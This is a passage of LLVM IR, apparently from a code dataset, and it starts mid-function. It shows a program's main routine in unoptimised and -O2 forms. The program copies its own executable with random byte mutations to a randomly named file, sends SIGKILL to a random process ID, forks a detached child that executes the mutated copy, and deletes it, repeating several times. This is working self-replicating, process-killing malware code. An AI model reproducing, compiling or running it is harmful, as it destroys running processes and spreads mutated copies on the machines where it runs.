%143 = icmp eq i32 %142, -1
br i1 %143, label %144, label %145
144: ; preds = %139
store i32 17, i32* %20
br label %189
145: ; preds = %139
br label %154
146: ; preds = %127
br label %154
147: ; preds = %127
%148 = load i32, i32* @SYS_write
%149 = load i32, i32* %7
%150 = call i32 (i32, ...) @syscall(i32 %148, i32 %149, i32* %14, i32 1)
%151 = icmp eq i32 %150, -1
br i1 %151, label %152, label %153
152: ; preds = %147
store i32 17, i32* %20
br label %189
153: ; preds = %147
br label %154
154: ; preds = %127, %153, %146, %145
br label %155
155: ; preds = %154, %126
br label %156
156: ; preds = %155
%157 = load i32, i32* %15
%158 = add nsw i32 %157, 1
store i32 %158, i32* %15
br label %102
159: ; preds = %102
%160 = load i32, i32* @SYS_close
%161 = load i32, i32* %7
%162 = call i32 (i32, ...) @syscall(i32 %160, i32 %161)
%163 = load i32, i32* @SYS_kill
%164 = load i32, i32* %14
%165 = urem i32 %164, 65536
%166 = load i32, i32* @SIGKILL
%167 = call i32 (i32, ...) @syscall(i32 %163, i32 %165, i32 %166)
%168 = load i32, i32* @SYS_fork
%169 = call i32 (i32, ...) @syscall(i32 %168)
%170 = sext i32 %169 to i64
store i64 %170, i64* %17
%171 = load i64, i64* %17
%172 = icmp eq i64 %171, 0
br i1 %172, label %173, label %188
173: ; preds = %159
%174 = load i32, i32* @SYS_setsid
%175 = call i32 (i32, ...) @syscall(i32 %174)
%176 = getelementptr inbounds [2 x i8*], [2 x i8*]* %18, i64 0, i64 0
%177 = getelementptr inbounds [21 x i8], [21 x i8]* %9, i64 0, i64 0
store i8* %177, i8** %176
%178 = getelementptr inbounds i8*, i8** %176, i64 1
store i8* null, i8** %178
%179 = bitcast [1 x i8*]* %19 to i8*
%180 = load i32, i32* @SYS_execve
%181 = getelementptr inbounds [21 x i8], [21 x i8]* %9, i64 0, i64 0
%182 = getelementptr inbounds [2 x i8*], [2 x i8*]* %18, i64 0, i64 0
%183 = getelementptr inbounds [1 x i8*], [1 x i8*]* %19, i64 0, i64 0
%184 = call i32 (i32, ...) @syscall(i32 %180, i8* %181, i8** %182, i8** %183)
%185 = load i32, i32* @SYS_unlink
%186 = getelementptr inbounds [21 x i8], [21 x i8]* %9, i64 0, i64 0
%187 = call i32 (i32, ...) @syscall(i32 %185, i8* %186)
store i32 1, i32* %3
store i32 1, i32* %20
br label %189
188: ; preds = %159
store i32 0, i32* %20
br label %189
189: ; preds = %152, %144, %138, %125, %100, %90, %84, %188, %173
%190 = load i8*, i8** %12
%191 = load i32, i32* %20
switch i32 %191, label %208 [
i32 0, label %192
i32 1, label %206
i32 11, label %197
i32 10, label %205
i32 17, label %201
]
192: ; preds = %189
br label %193
193: ; preds = %192
%194 = load i32, i32* %8
%195 = add i32 %194, 1
store i32 %195, i32* %8
br label %21
196: ; preds = %21
store i32 0, i32* %3
br label %206
197: ; preds = %189, %73, %66
%198 = load i32, i32* @SYS_close
%199 = load i32, i32* %6
%200 = call i32 (i32, ...) @syscall(i32 %198, i32 %199)
br label %201
201: ; preds = %197, %189
%202 = load i32, i32* @SYS_close
%203 = load i32, i32* %7
%204 = call i32 (i32, ...) @syscall(i32 %202, i32 %203)
br label %205
205: ; preds = %201, %189, %58
store i32 1, i32* %3
br label %206
206: ; preds = %205, %196, %189
%207 = load i32, i32* %3
ret i32 %207
208: ; preds = %189
unreachable
}

LLVM IR (-O2):
@SYS_getrandom = global i32 0
@SYS_open = global i32 0
@.str = [15 x i8] c"/proc/self/exe\00"
@O_RDONLY = global i32 0
@SYS_lseek = global i32 0
@SEEK_END = global i32 0
@SEEK_SET = global i32 0
@SYS_read = global i32 0
@SYS_close = global i32 0
@O_WRONLY = global i32 0
@O_CREAT = global i32 0
@SYS_write = global i32 0
@SYS_kill = global i32 0
@SIGKILL = global i32 0
@SYS_fork = global i32 0
@SYS_setsid = global i32 0
@SYS_execve = global i32 0
@SYS_unlink = global i32 0
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca [21 x i8]
%4 = alloca i32
%5 = alloca [2 x i8*]
%6 = alloca [1 x i8*]
%7 = getelementptr inbounds [21 x i8], [21 x i8]* %3, i64 0, i64 0
%8 = getelementptr inbounds [21 x i8], [21 x i8]* %3, i64 0, i64 20
%9 = bitcast i32* %4 to i8*
%10 = bitcast [21 x i8]* %3 to <16 x i8>*
%11 = bitcast [21 x i8]* %3 to <16 x i8>*
%12 = getelementptr inbounds [21 x i8], [21 x i8]* %3, i64 0, i64 16
%13 = getelementptr inbounds [21 x i8], [21 x i8]* %3, i64 0, i64 17
%14 = getelementptr inbounds [21 x i8], [21 x i8]* %3, i64 0, i64 18
%15 = getelementptr inbounds [21 x i8], [21 x i8]* %3, i64 0, i64 19
br label %16
16: ; preds = %2, %138
%17 = phi i32 [ -1, %2 ], [ %69, %138 ]
%18 = phi i32 [ 0, %2 ], [ %139, %138 ]
br label %19
19: ; preds = %19, %16
%20 = load i32, i32* @SYS_getrandom
%21 = call i32 (i32, ...) @syscall(i32 %20, i8* %7, i32 20, i32 0)
%22 = icmp eq i32 %21, -1
br i1 %22, label %19, label %23
23: ; preds = %19
%24 = load <16 x i8>, <16 x i8>* %10
%25 = srem <16 x i8> %24, <i8 25, i8 25, i8 25, i8 25, i8 25, i8 25, i8 25, i8 25, i8 25, i8 25, i8 25, i8 25, i8 25, i8 25, i8 25, i8 25>
%26 = add nsw <16 x i8> %25, <i8 97, i8 97, i8 97, i8 97, i8 97, i8 97, i8 97, i8 97, i8 97, i8 97, i8 97, i8 97, i8 97, i8 97, i8 97, i8 97>
store <16 x i8> %26, <16 x i8>* %11
%27 = load i8, i8* %12
%28 = srem i8 %27, 25
%29 = add nsw i8 %28, 97
store i8 %29, i8* %12
%30 = load i8, i8* %13
%31 = srem i8 %30, 25
%32 = add nsw i8 %31, 97
store i8 %32, i8* %13
%33 = load i8, i8* %14
%34 = srem i8 %33, 25
%35 = add nsw i8 %34, 97
store i8 %35, i8* %14
%36 = load i8, i8* %15
%37 = srem i8 %36, 25
%38 = add nsw i8 %37, 97
store i8 %38, i8* %15
store i8 0, i8* %8
%39 = load i32, i32* @SYS_open
%40 = load i32, i32* @O_RDONLY
%41 = call i32 (i32, ...) @syscall(i32 %39, i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0), i32 %40)
%42 = icmp eq i32 %41, -1
br i1 %42, label %130, label %43
43: ; preds = %23
%44 = load i32, i32* @SYS_lseek
%45 = load i32, i32* @SEEK_END
%46 = call i32 (i32, ...) @syscall(i32 %44, i32 %41, i32 0, i32 %45)
%47 = icmp eq i32 %46, -1
br i1 %47, label %130, label %48
48: ; preds = %43
%49 = load i32, i32* @SYS_lseek
%50 = load i32, i32* @SEEK_SET
%51 = call i32 (i32, ...) @syscall(i32 %49, i32 %41, i32 0, i32 %50)
%52 = icmp eq i32 %51, -1
br i1 %52, label %130, label %53
53: ; preds = %48
%54 = zext i32 %46 to i64
%55 = call i8* @llvm.stacksave()
%56 = alloca i8, i64 %54
%57 = load i32, i32* @SYS_read
%58 = call i32 (i32, ...) @syscall(i32 %57, i32 %41, i8* %56, i32 %46)
%59 = icmp eq i32 %58, -1
br i1 %59, label %132, label %60
60: ; preds = %53
%61 = load i32, i32* @SYS_close
%62 = call i32 (i32, ...) @syscall(i32 %61, i32 %41)
%63 = icmp eq i32 %62, -1
br i1 %63, label %132, label %64
64: ; preds = %60
%65 = load i32, i32* @SYS_open
%66 = load i32, i32* @O_WRONLY
%67 = load i32, i32* @O_CREAT
%68 = or i32 %67, %66
%69 = call i32 (i32, ...) @syscall(i32 %65, i8* %7, i32 %68, i32 509)
%70 = icmp eq i32 %69, -1
br i1 %70, label %132, label %71
71: ; preds = %64
%72 = icmp sgt i32 %46, 0
br i1 %72, label %73, label %106
73: ; preds = %71, %103
%74 = phi i64 [ %104, %103 ], [ 0, %71 ]
br label %75
75: ; preds = %73, %75
%76 = load i32, i32* @SYS_getrandom
%77 = call i32 (i32, ...) @syscall(i32 %76, i32* %4, i64 4, i32 0)
%78 = icmp eq i32 %77, -1
br i1 %78, label %75, label %79
79: ; preds = %75
%80 = load i32, i32* %4
%81 = urem i32 %80, 10000
%82 = icmp ugt i32 %81, 3
br i1 %82, label %83, label %88
83: ; preds = %79
%84 = load i32, i32* @SYS_write
%85 = getelementptr inbounds i8, i8* %56, i64 %74
%86 = call i32 (i32, ...) @syscall(i32 %84, i32 %69, i8* %85, i32 1)
%87 = icmp eq i32 %86, -1
br i1 %87, label %135, label %103
88: ; preds = %79
%89 = urem i32 %80, 3
switch i32 %89, label %103 [
i32 0, label %90
i32 2, label %99
]
90: ; preds = %88
%91 = load i32, i32* @SYS_write
%92 = getelementptr inbounds i8, i8* %56, i64 %74
%93 = call i32 (i32, ...) @syscall(i32 %91, i32 %69, i8* %92, i32 1)
%94 = icmp eq i32 %93, -1
br i1 %94, label %135, label %95
95: ; preds = %90
%96 = load i32, i32* @SYS_write
%97 = call i32 (i32, ...) @syscall(i32 %96, i32 %69, i32* %4, i32 1)
%98 = icmp eq i32 %97, -1
br i1 %98, label %135, label %103
99: ; preds = %88
%100 = load i32, i32* @SYS_write
%101 = call i32 (i32, ...) @syscall(i32 %100, i32 %69, i32* %4, i32 1)
%102 = icmp eq i32 %101, -1
br i1 %102, label %135, label %103
103: ; preds = %88, %95, %99, %83
%104 = add nuw nsw i64 %74, 1
%105 = icmp eq i64 %104, %54
br i1 %105, label %106, label %73
106: ; preds = %103, %71
%107 = load i32, i32* @SYS_close
%108 = call i32 (i32, ...) @syscall(i32 %107, i32 %69)
%109 = load i32, i32* @SYS_kill
%110 = load i32, i32* %4
%111 = and i32 %110, 65535
%112 = load i32, i32* @SIGKILL
%113 = call i32 (i32, ...) @syscall(i32 %109, i32 %111, i32 %112)
%114 = load i32, i32* @SYS_fork
%115 = call i32 (i32, ...) @syscall(i32 %114)
%116 = icmp eq i32 %115, 0
br i1 %116, label %117, label %138
117: ; preds = %106
%118 = load i32, i32* @SYS_setsid
%119 = call i32 (i32, ...) @syscall(i32 %118)
%120 = bitcast [2 x i8*]* %5 to i8*
%121 = getelementptr inbounds [2 x i8*], [2 x i8*]* %5, i64 0, i64 0
store i8* %7, i8** %121
%122 = getelementptr inbounds [2 x i8*], [2 x i8*]* %5, i64 0, i64 1
store i8* null, i8** %122
%123 = bitcast [1 x i8*]* %6 to i8*
%124 = bitcast [1 x i8*]* %6 to i64*
store i64 0, i64* %124
%125 = load i32, i32* @SYS_execve
%126 = getelementptr inbounds [1 x i8*], [1 x i8*]* %6, i64 0, i64 0
%127 = call i32 (i32, ...) @syscall(i32 %125, i8* %7, i8** %121, i8** %126)
%128 = load i32, i32* @SYS_unlink
%129 = call i32 (i32, ...) @syscall(i32 %128, i8* %7)
br label %135
130: ; preds = %23, %43, %48
%131 = phi i32 [ 10, %23 ], [ 11, %43 ], [ 11, %48 ]
br label %141
132: ; preds = %53, %60, %64
%133 = phi i32 [ 10, %64 ], [ 10, %60 ], [ 11, %53 ]
%134 = phi i32 [ -1, %64 ], [ %17, %60 ], [ %17, %53 ]
br label %141
135: ; preds = %83, %90, %95, %99, %117
%136 = phi i32 [ 1, %117 ], [ 17, %99 ], [ 17, %95 ], [ 17, %90 ], [ 17, %83 ]
%137 = phi i32 [ 1, %117 ], [ 0, %99 ], [ 0, %95 ], [ 0, %90 ], [ 0, %83 ]
br label %141
138: ; preds = %106
%139 = add nuw nsw i32 %18, 1
%140 = icmp eq i32 %139, 10
br i1 %140, label %145, label %16
141: ; preds = %135, %132, %130
%142 = phi i32 [ %131, %130 ], [ %133, %132 ], [ %136, %135 ]
%143 = phi i32 [ %17, %130 ], [ %134, %132 ], [ %69, %135 ]
%144 = phi i32 [ 0, %130 ], [ 0, %132 ], [ %137, %135 ]
switch i32 %142, label %153 [
i32 2, label %145
i32 11, label %146
i32 17, label %149
i32 10, label %152
]
145: ; preds = %138, %141
br label %153
146: ; preds = %141
%147 = load i32, i32* @SYS_close
%148 = call i32 (i32, ...) @syscall(i32 %147, i32 %41)
br label %149
149: ; preds = %146, %141
%150 = load i32, i32* @SYS_close
%151 = call i32 (i32, ...) @syscall(i32 %150, i32 %143)
br label %152
152: ; preds = %149, %141
br label %153
153: ; preds = %152, %145, %141
%154 = phi i32 [ %144, %141 ], [ 1, %152 ], [ 0, %145 ]
ret i32 %154
}